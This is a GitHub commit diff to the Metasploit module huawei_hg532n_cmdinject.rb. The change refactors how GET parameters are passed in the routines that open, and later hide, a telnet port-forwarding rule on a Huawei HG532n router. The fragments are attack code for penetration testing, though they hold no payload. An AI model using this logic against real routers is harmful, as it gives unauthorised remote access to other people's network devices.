Skip to content

Commit e21504b

Browse files
committed
huawei_hg532n_cmdinject: Use send_request_cgi() 'vars_get' key
Instead of rolling our own GET parameters implementation. Thanks @wvu-r7!
1 parent 7daec53 commit e21504b

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

modules/exploits/linux/http/huawei_hg532n_cmdinject.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -184,15 +184,18 @@ def expose_telnet_port(session_cookies)
184184
external_telnet_port = rand(32767) + 32768
185185

186186
portmapping_page = '/html/application/portmapping.asp'
187-
url_append = "?x=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping&RequestFile=#{portmapping_page}"
188187
valid_port_export_marker = "var pageName = '#{portmapping_page}';"
189188
invalid_port_export_marker = /var ErrInfo = \d+/
190189

191190
res = send_request_cgi(
192191
'method' => 'POST',
193-
'uri' => '/html/application/addcfg.cgi' + url_append,
192+
'uri' => '/html/application/addcfg.cgi',
194193
'cookie' => cookie,
195194
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
195+
'vars_get' => {
196+
'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping',
197+
'RequestFile' => portmapping_page
198+
},
196199
'vars_post' => {
197200
'x.PortMappingProtocol' => "TCP",
198201
'x.PortMappingEnabled' => "1",
@@ -250,9 +253,10 @@ def hide_exposed_telnet_port(session_cookies)
250253

251254
res = send_request_cgi(
252255
'method' => 'POST',
253-
'uri' => "/html/application/del.cgi?RequestFile=#{portmapping_page}",
256+
'uri' => '/html/application/del.cgi',
254257
'cookie' => cookie,
255258
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
259+
'vars_get' => { 'RequestFile' => portmapping_page },
256260
'vars_post' => vars_post
257261
)
258262
return if res && res.code == 200

0 commit comments

Comments
 (0)